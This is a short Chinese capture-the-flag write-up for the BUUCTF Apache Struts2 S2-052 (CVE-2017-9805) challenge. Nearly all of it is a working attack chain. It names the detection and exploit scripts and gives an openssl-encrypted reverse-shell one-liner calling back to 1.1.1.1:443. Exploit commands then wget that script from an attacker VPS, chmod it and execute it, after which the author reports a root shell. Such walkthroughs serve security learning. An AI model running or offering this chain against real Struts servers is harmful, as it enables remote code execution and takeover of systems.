[struts2]s2-052 BUUCTF
声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!
参考文档
本地检测
python struts-pwn.py --url "http://node4.buuoj.cn:29619/orders/3/edit"
vps
使用openssl生成生成证书的公私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
在自己的vps上创建一个openssl反弹会话的脚本
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s
然后在该目录下开启http服务
python3 -m http.server 8010
本地
此处,我本想根据参考文档里用到的exp脚本进行复现,但是效果不是很理想,测试了一下dnslog没有记录,并且vps上开启http服务,利用exp进行请求的时候8010端口没有收到请求,所以我们重新找了一个exp
通过漏洞利用工具执行以下命令
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u "http://node4.buuoj.cn:29619/orders/3/edit" -c "wget http://1.1.1.1:8010/openssl.sh"

利用工具将传过去的sh脚本修改权限
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u "http://node4.buuoj.cn:29619/orders/3/edit" -c "chmod 777 openssl.sh"
vps
重新打开openssl监听443端口加密流量
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
本地
运行该sh脚本
python3 "Apache Struts 2 CVE-2017-9805.py" --exploit -u "http://node4.buuoj.cn:29619/orders/3/edit" -c "/bin/bash ./openssl.sh"

vps
成功获得一个shell,且权限是root
读env处的flag

本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
